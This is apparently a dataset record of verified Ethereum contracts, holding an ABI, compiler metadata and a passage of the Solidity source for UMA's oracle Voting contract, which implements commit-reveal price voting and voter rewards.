* @param salt value used to hide the commitment price during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
bytes memory ancillaryData,
int256 salt
) public virtual;
/**
* @notice Reveal multiple votes in a single transaction.
* Look at `project-root/common/Constants.js` for the tested maximum number of reveals.
* that can fit in one transaction.
* @dev For more information on reveals, review the comment for `revealVote`.
* @param reveals array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(RevealAncillary[] memory reveals) public virtual;
/**
* @notice Gets the queries that are being voted on this round.
* @return pendingRequests `PendingRequest` array containing identifiers
* and timestamps for all pending requests.
*/
function getPendingRequests() external view virtual returns (PendingRequestAncillary[] memory);
/**
* @notice Returns the current voting phase, as a function of the current time.
* @return Phase to indicate the current phase. Either { Commit, Reveal, NUM_PHASES_PLACEHOLDER }.
*/
function getVotePhase() external view virtual returns (Phase);
/**
* @notice Returns the current round ID, as a function of the current time.
* @return uint256 representing the unique round ID.
*/
function getCurrentRoundId() external view virtual returns (uint256);
/**
* @notice Retrieves rewards owed for a set of resolved price requests.
* @dev Can only retrieve rewards if calling for a valid round and if the
* call is done within the timeout threshold (not expired).
* @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller.
* @param roundId the round from which voting rewards will be retrieved from.
* @param toRetrieve array of PendingRequests which rewards are retrieved from.
* @return total amount of rewards returned to the voter.
*/
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequestAncillary[] memory toRetrieve
) public virtual returns (FixedPoint.Unsigned memory);
// Voting Owner functions.
/**
* @notice Disables this Voting contract in favor of the migrated one.
* @dev Can only be called by the contract owner.
* @param newVotingAddress the newly migrated contract address.
*/
function setMigrated(address newVotingAddress) external virtual;
/**
* @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newInflationRate sets the next round's inflation rate.
*/
function setInflationRate(FixedPoint.Unsigned memory newInflationRate) public virtual;
/**
* @notice Resets the Gat percentage. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
* @param newGatPercentage sets the next round's Gat percentage.
*/
function setGatPercentage(FixedPoint.Unsigned memory newGatPercentage) public virtual;
/**
* @notice Resets the rewards expiration timeout.
* @dev This change only applies to rounds that have not yet begun.
* @param NewRewardsExpirationTimeout how long a caller can wait before choosing to withdraw their rewards.
*/
function setRewardsExpirationTimeout(uint256 NewRewardsExpirationTimeout) public virtual;
} | [{"inputs":[{"internalType":"address","name":"finderAddress","type":"address"},{"internalType":"address","name":"ownerAddress","type":"address"},{"internalType":"address","name":"voterAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"newMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"AddedSharedMember","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"oldMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"RemovedSharedMember","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roleId","type":"uint256"},{"indexed":true,"internalType":"address","name":"newMember","type":"address"},{"indexed":true,"internalType":"address","name":"manager","type":"address"}],"name":"ResetExclusiveMember","type":"event"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"newMember","type":"address"}],"name":"addMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"bytes32","name":"hash","type":"bytes32"},{"internalType":"bytes","name":"encryptedVote","type":"bytes"}],"internalType":"struct VotingAncillaryInterface.CommitmentAncillary[]","name":"commits","type":"tuple[]"}],"name":"batchCommit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"internalType":"struct VotingAncillaryInterface.RevealAncillary[]","name":"reveals","type":"tuple[]"}],"name":"batchReveal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"bytes32","name":"hash","type":"bytes32"}],"name":"commitVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"}],"name":"getMember","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"memberToCheck","type":"address"}],"name":"holdsRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"memberToRemove","type":"address"}],"name":"removeMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"}],"name":"renounceMembership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roleId","type":"uint256"},{"internalType":"address","name":"newMember","type":"address"}],"name":"resetMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"roundId","type":"uint256"},{"components":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"}],"internalType":"struct VotingAncillaryInterface.PendingRequestAncillary[]","name":"toRetrieve","type":"tuple[]"}],"name":"retrieveRewards","outputs":[{"components":[{"internalType":"uint256","name":"rawValue","type":"uint256"}],"internalType":"struct FixedPoint.Unsigned","name":"","type":"tuple"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"identifier","type":"bytes32"},{"internalType":"uint256","name":"time","type":"uint256"},{"internalType":"int256","name":"price","type":"int256"},{"internalType":"bytes","name":"ancillaryData","type":"bytes"},{"internalType":"int256","name":"salt","type":"int256"}],"name":"revealVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"erc20Address","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawErc20","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | true | 199 | 00000000000000000000000040f941e48a552bf496b154af6bf55725f18d77c30000000000000000000000009a8f92a830a5cb89a3816e3d267cb7791c16b04d0000000000000000000000009a8f92a830a5cb89a3816e3d267cb7791c16b04d | Default | Unknown | false | ipfs://617d39572f2a704ccf2f89c018de5a76636c4d524dab1138bcb4599330f70518 |
||
DesignatedVoting | contracts/oracle/implementation/Voting.sol | 0xa581ea2537f67ebe9f43d751e819bd918e809397 | Solidity | // SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/FinderInterface.sol";
import "../interfaces/OracleInterface.sol";
import "../interfaces/OracleAncillaryInterface.sol";
import "../interfaces/VotingInterface.sol";
import "../interfaces/VotingAncillaryInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "./Registry.sol";
import "./ResultComputation.sol";
import "./VoteTiming.sol";
import "./VotingToken.sol";
import "./Constants.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/cryptography/ECDSA.sol";
/**
* @title Voting system for Oracle.
* @dev Handles receiving and resolving price requests via a commit-reveal voting scheme.
*/
contract Voting is
Testable,
Ownable,
OracleInterface,
OracleAncillaryInterface, // Interface to support ancillary data with price requests.
VotingInterface,
VotingAncillaryInterface // Interface to support ancillary data with voting rounds.
{
using FixedPoint for FixedPoint.Unsigned;
using SafeMath for uint256;
using VoteTiming for VoteTiming.Data;
using ResultComputation for ResultComputation.Data;
/****************************************
* VOTING DATA STRUCTURES *
****************************************/
// Identifies a unique price request for which the Oracle will always return the same value.
// Tracks ongoing votes as well as the result of the vote.
struct PriceRequest {
bytes32 identifier;
uint256 time;
// A map containing all votes for this price in various rounds.
mapping(uint256 => VoteInstance) voteInstances;
// If in the past, this was the voting round where this price was resolved. If current or the upcoming round,
// this is the voting round where this price will be voted on, but not necessarily resolved.
uint256 lastVotingRound;
// The index in the `pendingPriceRequests` that references this PriceRequest. A value of UINT_MAX means that
// this PriceRequest is resolved and has been cleaned up from `pendingPriceRequests`.
uint256 index;
bytes ancillaryData;
}
struct VoteInstance {
// Maps (voterAddress) to their submission.
mapping(address => VoteSubmission) voteSubmissions;
// The data structure containing the computed voting results.
ResultComputation.Data resultComputation;
}
struct VoteSubmission {
// A bytes32 of `0` indicates no commit or a commit that was already revealed.
bytes32 commit;
// The hash of the value that was revealed.
// Note: this is only used for computation of rewards.
bytes32 revealHash;
}
struct Round {
uint256 snapshotId; // Voting token snapshot ID for this round. 0 if no snapshot has been taken.
FixedPoint.Unsigned inflationRate; // Inflation rate set for this round.
FixedPoint.Unsigned gatPercentage; // Gat rate set for this round.
uint256 rewardsExpirationTime; // Time that rewards for this round can be claimed until.
}
// Represents the status a price request has.
enum RequestStatus {
NotRequested, // Was never requested.
Active, // Is being voted on in the current round.
Resolved, // Was resolved in a previous round.
Future // Is scheduled to be voted on in a future round.
}
// Only used as a return value in view methods -- never stored in the contract.
struct RequestState {
RequestStatus status;
uint256 lastVotingRound;
}
/****************************************
* INTERNAL TRACKING *
****************************************/
// Maps round numbers to the rounds.
mapping(uint256 => Round) public rounds;
// Maps price request IDs to the PriceRequest struct.
mapping(bytes32 => PriceRequest) private priceRequests;
// Price request ids for price requests that haven't yet been marked as resolved.
// These requests may be for future rounds.
bytes32[] internal pendingPriceRequests;
VoteTiming.Data public voteTiming;
// Percentage of the total token supply that must be used in a vote to
// create a valid price resolution. 1 == 100%.
FixedPoint.Unsigned public gatPercentage;
// Global setting for the rate of inflation per vote. This is the percentage of the snapshotted total supply that
// should be split among the correct voters.
// Note: this value is used to set per-round inflation at the beginning of each round. 1 = 100%.
FixedPoint.Unsigned public inflationRate;
// Time in seconds from the end of the round in which a price request is
// resolved that voters can still claim their rewards.
uint256 public rewardsExpirationTimeout;
// Reference to the voting token.
VotingToken public votingToken;
// Reference to the Finder.
FinderInterface private finder;
// If non-zero, this contract has been migrated to this address. All voters and
// financial contracts should query the new address only.
address public migratedAddress;
// Max value of an unsigned integer.
uint256 private constant UINT_MAX = ~uint256(0);
// Max length in bytes of ancillary data that can be appended to a price request.
// As of December 2020, the current Ethereum gas limit is 12.5 million. This requestPrice function's gas primarily
// comes from computing a Keccak-256 hash in _encodePriceRequest and writing a new PriceRequest to
// storage. We have empirically determined an ancillary data limit of 8192 bytes that keeps this function
// well within the gas limit at ~8 million gas. To learn more about the gas limit and EVM opcode costs go here:
// - https://etherscan.io/chart/gaslimit
// - https://github.com/djrtwo/evm-opcode-gas-costs
uint256 public constant ancillaryBytesLimit = 8192;
bytes32 public snapshotMessageHash = ECDSA.toEthSignedMessageHash(keccak256(bytes("Sign For Snapshot")));
/***************************************
* EVENTS *
****************************************/
event VoteCommitted(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData
);
event EncryptedVote(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
bytes encryptedVote
);
event VoteRevealed(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData,
uint256 numTokens
);
event RewardsRetrieved(
address indexed voter,
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
uint256 numTokens
);
event PriceRequestAdded(uint256 indexed roundId, bytes32 indexed identifier, uint256 time);
event PriceResolved(
uint256 indexed roundId,
bytes32 indexed identifier,
uint256 time,
int256 price,
bytes ancillaryData
);
/**
* @notice Construct the Voting contract.
* @param _phaseLength length of the commit and reveal phases in seconds.
* @param _gatPercentage of the total token supply that must be used in a vote to create a valid price resolution.
* @param _inflationRate percentage inflation per round used to increase token supply of correct voters.
* @param _rewardsExpirationTimeout timeout, in seconds, within which rewards must be claimed.
* @param _votingToken address of the UMA token contract used to commit votes.
* @param _finder keeps track of all contracts within the system based on their interfaceName.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
uint256 _phaseLength,
FixedPoint.Unsigned memory _gatPercentage,
FixedPoint.Unsigned memory _inflationRate,
uint256 _rewardsExpirationTimeout,
address _votingToken,
address _finder,
address _timerAddress
) public Testable(_timerAddress) {
voteTiming.init(_phaseLength);
require(_gatPercentage.isLessThanOrEqual(1), "GAT percentage must be <= 100%");
gatPercentage = _gatPercentage;
inflationRate = _inflationRate;
votingToken = VotingToken(_votingToken);
finder = FinderInterface(_finder);
rewardsExpirationTimeout = _rewardsExpirationTimeout;
}
/***************************************
MODIFIERS
****************************************/
modifier onlyRegisteredContract() {
if (migratedAddress != address(0)) {
require(msg.sender == migratedAddress, "Caller must be migrated address");
} else {
Registry registry = Registry(finder.getImplementationAddress(OracleInterfaces.Registry));
require(registry.isContractRegistered(msg.sender), "Called must be registered");
}
_;
}
modifier onlyIfNotMigrated() {
require(migratedAddress == address(0), "Only call this if not migrated");
_;
}
/****************************************
* PRICE REQUEST AND ACCESS FUNCTIONS *
****************************************/
/**
* @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair.
* @dev Time must be in the past and the identifier must be supported. The length of the ancillary data
* is limited such that this method abides by the EVM transaction gas limit.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
*/
function requestPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public override onlyRegisteredContract() {
uint256 blockTime = getCurrentTime();
require(time <= blockTime, "Can only request in past");
require(_getIdentifierWhitelist().isIdentifierSupported(identifier), "Unsupported identifier request");
require(ancillaryData.length <= ancillaryBytesLimit, "Invalid ancillary data");
bytes32 priceRequestId = _encodePriceRequest(identifier, time, ancillaryData);
PriceRequest storage priceRequest = priceRequests[priceRequestId];
uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime);
RequestStatus requestStatus = _getRequestStatus(priceRequest, currentRoundId);
if (requestStatus == RequestStatus.NotRequested) {
// Price has never been requested.
// Price requests always go in the next round, so add 1 to the computed current round.
uint256 nextRoundId = currentRoundId.add(1);
priceRequests[priceRequestId] = PriceRequest({
identifier: identifier,
time: time,
lastVotingRound: nextRoundId,
index: pendingPriceRequests.length,
ancillaryData: ancillaryData
});
pendingPriceRequests.push(priceRequestId);
emit PriceRequestAdded(nextRoundId, identifier, time);
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function requestPrice(bytes32 identifier, uint256 time) public override {
requestPrice(identifier, time, "");
}
/**
* @notice Whether the price for `identifier` and `time` is available.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp of for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return _hasPrice bool if the DVM has resolved to a price for the given identifier and timestamp.
*/
function hasPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view override onlyRegisteredContract() returns (bool) {
(bool _hasPrice, , ) = _getPriceOrError(identifier, time, ancillaryData);
return _hasPrice;
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function hasPrice(bytes32 identifier, uint256 time) public view override returns (bool) {
return hasPrice(identifier, time, "");
}
/**
* @notice Gets the price for `identifier` and `time` if it has already been requested and resolved.
* @dev If the price is not available, the method reverts.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp of for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @return int256 representing the resolved price for the given identifier and timestamp.
*/
function getPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view override onlyRegisteredContract() returns (int256) {
(bool _hasPrice, int256 price, string memory message) = _getPriceOrError(identifier, time, ancillaryData);
// If the price wasn't available, revert with the provided message.
require(_hasPrice, message);
return price;
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function getPrice(bytes32 identifier, uint256 time) public view override returns (int256) {
return getPrice(identifier, time, "");
}
/**
* @notice Gets the status of a list of price requests, identified by their identifier and time.
* @dev If the status for a particular request is NotRequested, the lastVotingRound will always be 0.
* @param requests array of type PendingRequest which includes an identifier and timestamp for each request.
* @return requestStates a list, in the same order as the input list, giving the status of each of the specified price requests.
*/
function getPriceRequestStatuses(PendingRequestAncillary[] memory requests)
public
view
returns (RequestState[] memory)
{
RequestState[] memory requestStates = new RequestState[](requests.length);
uint256 currentRoundId = voteTiming.computeCurrentRoundId(getCurrentTime());
for (uint256 i = 0; i < requests.length; i++) {
PriceRequest storage priceRequest =
_getPriceRequest(requests[i].identifier, requests[i].time, requests[i].ancillaryData);
RequestStatus status = _getRequestStatus(priceRequest, currentRoundId);
// If it's an active request, its true lastVotingRound is the current one, even if it hasn't been updated.
if (status == RequestStatus.Active) {
requestStates[i].lastVotingRound = currentRoundId;
} else {
requestStates[i].lastVotingRound = priceRequest.lastVotingRound;
}
requestStates[i].status = status;
}
return requestStates;
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function getPriceRequestStatuses(PendingRequest[] memory requests) public view returns (RequestState[] memory) {
PendingRequestAncillary[] memory requestsAncillary = new PendingRequestAncillary[](requests.length);
for (uint256 i = 0; i < requests.length; i++) {
requestsAncillary[i].identifier = requests[i].identifier;
requestsAncillary[i].time = requests[i].time;
requestsAncillary[i].ancillaryData = "";
}
return getPriceRequestStatuses(requestsAncillary);
}
/****************************************
* VOTING FUNCTIONS *
****************************************/
/**
* @notice Commit a vote for a price request for `identifier` at `time`.
* @dev `identifier`, `time` must correspond to a price request that's currently in the commit phase.
* Commits can be changed.
* @dev Since transaction data is public, the salt will be revealed with the vote. While this is the system’s expected behavior,
* voters should never reuse salts. If someone else is able to guess the voted price and knows that a salt will be reused, then
* they can determine the vote pre-reveal.
* @param identifier uniquely identifies the committed vote. EG BTC/USD price pair.
* @param time unix timestamp of the price being voted on.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param hash keccak256 hash of the `price`, `salt`, voter `address`, `time`, current `roundId`, and `identifier`.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash
) public override onlyIfNotMigrated() {
require(hash != bytes32(0), "Invalid provided hash");
// Current time is required for all vote timing queries.
uint256 blockTime = getCurrentTime();
require(
voteTiming.computeCurrentPhase(blockTime) == VotingAncillaryInterface.Phase.Commit,
"Cannot commit in reveal phase"
);
// At this point, the computed and last updated round ID should be equal.
uint256 currentRoundId = voteTiming.computeCurrentRoundId(blockTime);
PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData);
require(
_getRequestStatus(priceRequest, currentRoundId) == RequestStatus.Active,
"Cannot commit inactive request"
);
priceRequest.lastVotingRound = currentRoundId;
VoteInstance storage voteInstance = priceRequest.voteInstances[currentRoundId];
voteInstance.voteSubmissions[msg.sender].commit = hash;
emit VoteCommitted(msg.sender, currentRoundId, identifier, time, ancillaryData);
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function commitVote(
bytes32 identifier,
uint256 time,
bytes32 hash
) public override onlyIfNotMigrated() {
commitVote(identifier, time, "", hash);
}
/**
* @notice Snapshot the current round's token balances and lock in the inflation rate and GAT.
* @dev This function can be called multiple times, but only the first call per round into this function or `revealVote`
* will create the round snapshot. Any later calls will be a no-op. Will revert unless called during reveal period.
* @param signature signature required to prove caller is an EOA to prevent flash loans from being included in the
* snapshot.
*/
function snapshotCurrentRound(bytes calldata signature)
external
override(VotingInterface, VotingAncillaryInterface)
onlyIfNotMigrated()
{
uint256 blockTime = getCurrentTime();
require(voteTiming.computeCurrentPhase(blockTime) == Phase.Reveal, "Only snapshot in reveal phase");
// Require public snapshot require signature to ensure caller is an EOA.
require(ECDSA.recover(snapshotMessageHash, signature) == msg.sender, "Signature must match sender");
uint256 roundId = voteTiming.computeCurrentRoundId(blockTime);
_freezeRoundVariables(roundId);
}
/**
* @notice Reveal a previously committed vote for `identifier` at `time`.
* @dev The revealed `price`, `salt`, `address`, `time`, `roundId`, and `identifier`, must hash to the latest `hash`
* that `commitVote()` was called with. Only the committer can reveal their vote.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price being voted on.
* @param price voted on during the commit phase.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param salt value used to hide the commitment price during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
bytes memory ancillaryData,
int256 salt
) public override onlyIfNotMigrated() {
require(voteTiming.computeCurrentPhase(getCurrentTime()) == Phase.Reveal, "Cannot reveal in commit phase");
// Note: computing the current round is required to disallow people from revealing an old commit after the round is over.
uint256 roundId = voteTiming.computeCurrentRoundId(getCurrentTime());
PriceRequest storage priceRequest = _getPriceRequest(identifier, time, ancillaryData);
VoteInstance storage voteInstance = priceRequest.voteInstances[roundId];
VoteSubmission storage voteSubmission = voteInstance.voteSubmissions[msg.sender];
// Scoping to get rid of a stack too deep error.
{
// 0 hashes are disallowed in the commit phase, so they indicate a different error.
// Cannot reveal an uncommitted or previously revealed hash
require(voteSubmission.commit != bytes32(0), "Invalid hash reveal");
require(
keccak256(abi.encodePacked(price, salt, msg.sender, time, ancillaryData, roundId, identifier)) ==
voteSubmission.commit,
"Revealed data != commit hash"
);
// To protect against flash loans, we require snapshot be validated as EOA.
require(rounds[roundId].snapshotId != 0, "Round has no snapshot");
}
// Get the frozen snapshotId
uint256 snapshotId = rounds[roundId].snapshotId;
delete voteSubmission.commit;
// Get the voter's snapshotted balance. Since balances are returned pre-scaled by 10**18, we can directly
// initialize the Unsigned value with the returned uint.
FixedPoint.Unsigned memory balance = FixedPoint.Unsigned(votingToken.balanceOfAt(msg.sender, snapshotId));
// Set the voter's submission.
voteSubmission.revealHash = keccak256(abi.encode(price));
// Add vote to the results.
voteInstance.resultComputation.addVote(price, balance);
emit VoteRevealed(msg.sender, roundId, identifier, time, price, ancillaryData, balance.rawValue);
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
int256 salt
) public override {
revealVote(identifier, time, price, "", salt);
}
/**
* @notice commits a vote and logs an event with a data blob, typically an encrypted version of the vote
* @dev An encrypted version of the vote is emitted in an event `EncryptedVote` to allow off-chain infrastructure to
* retrieve the commit. The contents of `encryptedVote` are never used on chain: it is purely for convenience.
* @param identifier unique price pair identifier. Eg: BTC/USD price pair.
* @param time unix timestamp of for the price request.
* @param ancillaryData arbitrary data appended to a price request to give the voters more info from the caller.
* @param hash keccak256 hash of the price you want to vote for and a `int256 salt`.
* @param encryptedVote offchain encrypted blob containing the voters amount, time and salt.
*/
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash,
bytes memory encryptedVote
) public override {
commitVote(identifier, time, ancillaryData, hash);
uint256 roundId = voteTiming.computeCurrentRoundId(getCurrentTime());
emit EncryptedVote(msg.sender, roundId, identifier, time, ancillaryData, encryptedVote);
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function commitAndEmitEncryptedVote(
bytes32 identifier,
uint256 time,
bytes32 hash,
bytes memory encryptedVote
) public override {
commitVote(identifier, time, "", hash);
commitAndEmitEncryptedVote(identifier, time, "", hash, encryptedVote);
}
/**
* @notice Submit a batch of commits in a single transaction.
* @dev Using `encryptedVote` is optional. If included then commitment is emitted in an event.
* Look at `project-root/common/Constants.js` for the tested maximum number of
* commitments that can fit in one transaction.
* @param commits struct to encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(CommitmentAncillary[] memory commits) public override {
for (uint256 i = 0; i < commits.length; i++) {
if (commits[i].encryptedVote.length == 0) {
commitVote(commits[i].identifier, commits[i].time, commits[i].ancillaryData, commits[i].hash);
} else {
commitAndEmitEncryptedVote(
commits[i].identifier,
commits[i].time,
commits[i].ancillaryData,
commits[i].hash,
commits[i].encryptedVote
);
}
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function batchCommit(Commitment[] memory commits) public override {
CommitmentAncillary[] memory commitsAncillary = new CommitmentAncillary[](commits.length);
for (uint256 i = 0; i < commits.length; i++) {
commitsAncillary[i].identifier = commits[i].identifier;
commitsAncillary[i].time = commits[i].time;
commitsAncillary[i].ancillaryData = "";
commitsAncillary[i].hash = commits[i].hash;
commitsAncillary[i].encryptedVote = commits[i].encryptedVote;
}
batchCommit(commitsAncillary);
}
/**
* @notice Reveal multiple votes in a single transaction.
* Look at `project-root/common/Constants.js` for the tested maximum number of reveals.
* that can fit in one transaction.
* @dev For more info on reveals, review the comment for `revealVote`.
* @param reveals array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(RevealAncillary[] memory reveals) public override {
for (uint256 i = 0; i < reveals.length; i++) {
revealVote(
reveals[i].identifier,
reveals[i].time,
reveals[i].price,
reveals[i].ancillaryData,
reveals[i].salt
);
}
}
// Overloaded method to enable short term backwards compatibility. Will be deprecated in the next DVM version.
function batchReveal(Reveal[] memory reveals) public override {
RevealAncillary[] memory revealsAncillary = new RevealAncillary[](reveals.length);
for (uint256 i = 0; i < reveals.length; i++) {
revealsAncillary[i].identifier = reveals[i].identifier;
revealsAncillary[i].time = reveals[i].time;
revealsAncillary[i].price = reveals[i].price;
revealsAncillary[i].ancillaryData = "";
revealsAncillary[i].salt = reveals[i].salt;
}
batchReveal(revealsAncillary);
}
/**
* @notice Retrieves rewards owed for a set of resolved price requests.
* @dev Can only retrieve rewards if calling for a valid round and if the call is done within the timeout threshold
* (not expired). Note that a named return value is used here to avoid a stack to deep error.
* @param voterAddress voter for which rewards will be retrieved. Does not have to be the caller.
* @param roundId the round from which voting rewards will be retrieved from.
* @param toRetrieve array of PendingRequests which rewards are retrieved from.
* @return totalRewardToIssue total amount of rewards returned to the voter.
*/
function retrieveRewards(
address voterAddress,
uint256 roundId,
PendingRequestAncillary[] memory toRetrieve
) public override returns (FixedPoint.Unsigned memory totalRewardToIssue) {
if (migratedAddress != address(0)) {
require(msg.sender == migratedAddress, "Can only call from migrated");
}
require(roundId < voteTiming.computeCurrentRoundId(getCurrentTime()), "Invalid roundId");
Round storage round = rounds[roundId];
bool isExpired = getCurrentTime() > round.rewardsExpirationTime;
FixedPoint.Unsigned memory snapshotBalance =
FixedPoint.Unsigned(votingToken.balanceOfAt(voterAddress, round.snapshotId));
// Compute the total amount of reward that will be issued for each of the votes in the round.
FixedPoint.Unsigned memory snapshotTotalSupply =
FixedPoint.Unsigned(votingToken.totalSupplyAt(round.snapshotId));
FixedPoint.Unsigned memory totalRewardPerVote = round.inflationRate.mul(snapshotTotalSupply);
// Keep track of the voter's accumulated token reward.
totalRewardToIssue = FixedPoint.Unsigned(0);
for (uint256 i = 0; i < toRetrieve.length; i++) {
PriceRequest storage priceRequest =
_getPriceRequest(toRetrieve[i].identifier, toRetrieve[i].time, toRetrieve[i].ancillaryData);
VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound];
// Only retrieve rewards for votes resolved in same round
require(priceRequest.lastVotingRound == roundId, "Retrieve for votes same round");
_resolvePriceRequest(priceRequest, voteInstance);
if (voteInstance.voteSubmissions[voterAddress].revealHash == 0) {
continue;
} else if (isExpired) {
// Emit a 0 token retrieval on expired rewards.
emit RewardsRetrieved(
voterAddress,
roundId,
toRetrieve[i].identifier,
toRetrieve[i].time,
toRetrieve[i].ancillaryData,
0
);
} else if (
voteInstance.resultComputation.wasVoteCorrect(voteInstance.voteSubmissions[voterAddress].revealHash)
) {
// The price was successfully resolved during the voter's last voting round, the voter revealed
// and was correct, so they are eligible for a reward.
// Compute the reward and add to the cumulative reward.
FixedPoint.Unsigned memory reward =
snapshotBalance.mul(totalRewardPerVote).div(
voteInstance.resultComputation.getTotalCorrectlyVotedTokens()
);
totalRewardToIssue = totalRewardToIssue.add(reward);
// Emit reward retrieval for this vote.
emit RewardsRetrieved(
voterAddress,
roundId,
toRetrieve[i].identifier,
toRetrieve[i].time,
toRetrieve[i].ancillaryData,
reward.rawValue
);
} else {
// Emit a 0 token retrieval on incorrect votes.
emit RewardsRetrieved(
voterAddress,
roundId,
toRetrieve[i].identifier,
toRetrieve[i].time,
toRetrieve[i].ancillaryData,
0
);
}
// Delete the submission to capture any refund and clean up storage.
delete voteInstance.voteSubmissions[voterAddress].revealHash;
}
// Issue any accumulated rewards.
if (totalRewardToIssue.isGreaterThan(0)) {
require(votingToken.mint(voterAddress, totalRewardToIssue.rawValue), "Voting token issuance failed");
}
}
